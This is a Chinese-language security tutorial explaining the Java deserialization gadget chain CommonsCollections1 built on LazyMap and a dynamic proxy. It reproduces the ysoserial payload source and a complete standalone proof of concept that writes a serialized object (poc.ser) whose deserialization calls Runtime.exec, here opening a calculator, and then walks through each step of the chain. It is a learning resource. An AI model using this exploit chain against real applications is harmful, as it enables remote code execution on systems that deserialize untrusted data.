0x01 前言
通过前面几篇的CommonCollections1利用链的分析,我们也是终于一步一步打好了基础
也算是对Java反序列化导致的RCE漏洞有一定认识了
这个时候如果你转头去看ysoserial源码,你会发现ysoserial源码的CommonCollections1利用链
是使用LazyMap来作为漏洞触发点的
而前面几篇文章是使用TransformedMap来作为漏洞触发点的
严格来说phith0n使用这个TransformedMap来作为漏洞触发点的链,并不能叫做CommonCollections1
因为使用的是TransformedMap而不是LazyMap,但是这两个的区别,其实就是漏洞触发点,有点不同而已
作为打基础来说,使用phith0n(P牛)的这个TransformedMap来作为漏洞触发点的链,更加简单,也更加容易入门
本文就让我们学习ysoserial的CommonCollections1,学习如何使用LazyMap作为漏洞触发点
0x02 ysoserial-cc1攻击链介绍
首先打开并进入 ysoserial 项目
找到 /ysoserial-0.0.5/src/main/java/ysoserial/payloads/CommonsCollections1.java 这个文件
看看 ysoserial 是如何生成CommonsCollections1利用链的
代码如下:
package ysoserial.payloads;import java.lang.reflect.InvocationHandler;import java.util.HashMap;import java.util.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.Dependencies;import ysoserial.payloads.annotation.PayloadTest;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.JavaVersion;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;@SuppressWarnings({"rawtypes", "unchecked"})@PayloadTest ( precondition = "isApplicableJavaVersion")@Dependencies({"commons-collections:commons-collections:3.1"})@Authors({ Authors.FROHOFF })public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {public InvocationHandler getObject(final String command) throws Exception {final String[] execArgs = new String[] { command };// inert chain for setupfinal Transformer transformerChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) });// real chain for after setupfinal Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class }, execArgs),new ConstantTransformer(1) };final Map innerMap = new HashMap();final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chainreturn handler;}public static void main(final String[] args) throws Exception {PayloadRunner.run(CommonsCollections1.class, args);}public static boolean isApplicableJavaVersion() {return JavaVersion.isAnnInvHUniversalMethodImpl();}}
是不是感觉看着好奇怪?POC怎么完全不一样了,这是因为ysoserial是一个项目,所以它把一些通用方法封装起来了
这会导致我们学习的时候多走弯路,因此我们可以换个去掉了这些通用方法的POC,在进行学习
0x03 demo
如果懒的创建环境的话,也可以通过github下载该环境如下:
https://github.com/pmiaowu/DeserializationTest
编辑器为: IntelliJ IDEAjava版本:java version "1.7.0_80"Java(TM) SE Runtime Environment (build 1.7.0_80-b15)Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)使用的架包:Commons Collections 3.1
// 路径: /DeserializationTest/src/main/java// 文件名称: CommonCollections1Test4.javaimport org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;public class CommonCollections1Test4 {public static void main(String[] args) throws Exception {// 要执行的命令String cmd = "open -a /System/Applications/Calculator.app";//构建一个 transformers 的数组,在其中构建了任意函数执行的核心代码Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})};// 将 transformers 数组存入 ChaniedTransformer 这个继承类Transformer transformerChain = new ChainedTransformer(transformers);// 创建个 Map 准备拿来绑定 transformerChinaMap innerMap = new HashMap();// 创建个 transformerChina 并绑定 innerMapMap outerMap = LazyMap.decorate(innerMap, transformerChain);// 反射机制调用AnnotationInvocationHandler类的构造函数Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);ctor.setAccessible(true);// 使用jdk动态代理InvocationHandler handler = (InvocationHandler) ctor.newInstance(Retention.class, outerMap);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);// 获取 AnnotationInvocationHandler 类实例Object instance = ctor.newInstance(Retention.class, proxyMap);// 保存反序列化文件FileOutputStream f = new FileOutputStream("poc.ser");ObjectOutputStream out = new ObjectOutputStream(f);out.writeObject(instance);System.out.println("执行完毕");}}// 执行完毕以后 DeserializationTest目录下面会生成 poc.ser
接着就去运行Test方法,进行攻击测试,会弹出一个计算器
0x04 利用链过程
ysoserial 源码的注释中给出了利用链的过程如下:
Gadget chain:ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()Map(Proxy).entrySet()AnnotationInvocationHandler.invoke()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()
0x05 前置知识铺垫
首先让我们回顾一下,CC1,要想成功触发漏洞的话,需要什么?
要想成功的命令执行就必须触发ChainedTransformer类的transform方法
清楚的知道这个就好办了
首先LazyMap与TransformedMap,都来自于commons-collections库
并且都继承了AbstractMapDecorator类
接着LazyMap与TransformedMap漏洞触发点的区别如下:LazyMap是在LazyMap.get去触发transform方法TransformedMap是在TransformedMap.put去触发transform方法
对比TransformedMap方法的利用,LazyMap方法会显的利用会显的更加复杂
因为sun.reflect.annotation.AnnotationInvocationHandler的readObject方法,并没有直接调用到Map的get方法,去触发transform的方法
所以ysoserial找了另外一条路
通过AnnotationInvocationHandler类的invoke方法,去调用到get方法
AnnotationInvocationHandler类的invoke方法,代码如下:
public Object invoke(Object var1, Method var2, Object[] var3) {String var4 = var2.getName();Class[] var5 = var2.getParameterTypes();if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {return this.equalsImpl(var3[0]);} else if (var5.length != 0) {throw new AssertionError("Too many parameters for an annotation method");} else {byte var7 = -1;switch(var4.hashCode()) {case -1776922004:if (var4.equals("toString")) {var7 = 0;}break;case 147696667:if (var4.equals("hashCode")) {var7 = 1;}break;case 1444986633:if (var4.equals("annotationType")) {var7 = 2;}}switch(var7) {case 0:return this.toStringImpl();case 1:return this.hashCodeImpl();case 2:return this.type;default:Object var6 = this.memberValues.get(var4);// 重点代码if (var6 == null) {throw new IncompleteAnnotationException(this.type, var4);} else if (var6 instanceof ExceptionProxy) {throw ((ExceptionProxy)var6).generateException();} else {if (var6.getClass().isArray() && Array.getLength(var6) != 0) {var6 = this.cloneArray(var6);}return var6;}}}}
那么如何调用到AnnotationInvocationHandler类的invoke方法?
ysoserial作者使用的是JDK原生动态代理实现的
关于动态代理的知识,请查看Java安全慢游记->Java 安全基础->Java代理模式(Proxy)->Java 动态代理-JDK原生
Java 动态代理-JDK原生: https://www.yuque.com/pmiaowu/gpy1q8/ze4mgq
注意: 请务必一定要把动态代理学习成功,不然的话,本篇文章,你会读的很吃力!!!!!
注意: 请务必一定要把动态代理学习成功,不然的话,本篇文章,你会读的很吃力!!!!!
注意: 请务必一定要把动态代理学习成功,不然的话,本篇文章,你会读的很吃力!!!!!
0x06 分析
前置知识也学习的差不多了,现在终于可以开始分析了
老样子先问问题,边问边答
0x06.1 啊明明,四问
第一个问题,看看LazyMap类的decorate方法干了什么?
第二个问题,简单介绍一下动态代理?做了什么?
第三个问题,ctor.newInstance(Retention.class, proxyMap);这段代码干了什么?
第四个问题,整体运行流程是?
0x06.2 自我解答
第一个问题答案:
对应POC代码Map outerMap = LazyMap.decorate(innerMap, transformerChain);
只是单纯的赋值操作
其中把传进来的transformerChain赋值给了this.factory
第二个问题答案:
还是简单介绍一下,动态代理需要的类与参数Proxy的newProxyInstance方法接收的三个参数的作用分别为:
第⼀个参数,代理对象的类加载器
第二个参数,代理类全部的接口
第三个参数,实现InvocationHandler接口的对象
继续返回来,查看以下两段POC代码,看看做了啥:
// 反射机制调用AnnotationInvocationHandler类的构造函数Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);ctor.setAccessible(true);// 使用jdk动态代理InvocationHandler handler = (InvocationHandler) ctor.newInstance(Retention.class, outerMap);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
可以看到使用了动态代理(重点关注Map proxyMap)
其中handler是反射创建的一个AnnotationInvocationHandler类
而且AnnotationInvocationHandler类,实现了InvocationHandler接口
因此可以直接作为Proxy.newProxyInstance的第三个参数传入
最终构造完以后,返回一个Map proxyMap,它现在就是一个代理对象了
第三个问题答案:
在看看以下一段POC代码,看看做了啥,先看一眼对应的POC:
Object instance = ctor.newInstance(Retention.class, proxyMap);
在看AnnotationInvocationHandler类的构造函数
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {Class[] var3 = var1.getInterfaces();if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {this.type = var1;this.memberValues = var2;} else {throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");}}
因为AnnotationInvocationHandler类的构造函数第一个参数必须要为Annotation类的子类
并且该Annotation类的子类必须含有至少一个方法,那样才能符合构造构造函数的要求
而Retention类就是Annotation类的子类之一,并且含有一个方法
符合条件以后就把我们传进来的proxyMap赋值给了this.memberValues
第四个问题答案:
现在查看运行流程
POC执行反序列化的时候,会先执行AnnotationInvocationHandler类的readObject()方法readObject()方法会去调用this.memberValues的entrySet()方法this.memberValues是通过反射调用构造方法传入的参数,传入的参数为Map proxyMap
而因为Map proxyMap是我们的代理对象
因此调用proxyMap的entrySet()会触发AnnotationInvocationHandler类的invoke()方法
执行AnnotationInvocationHandler类的invoke()方法,又会调用this.memberValues.get(var4)
这会导致进入到了LazyMap的get()方法
而LazyMap的get()方法
里面的this.factory是一个Transformer[]数组
这时候执行this.factory.transform(key)
然后ChainedTransformer方法,又自动遍历调用Transformer[]里面的transform方法
最终导致传入的Runtime调用了exec,执行了命令,弹了个计算器
0x07 结尾
CC1在jdk1.7u21、jdk1.8_101、jdk1.8_171时,都是可用的(网上的大佬说的,我照抄)
只能这几个版本使用,主要是因为其它版本的AnnotationInvocationHandler的readObject()是经过了改动的
最后面,恭喜我们自己,完整的从简单到困难学会了CC1,真正迈入了Java的反序列化漏洞的大门


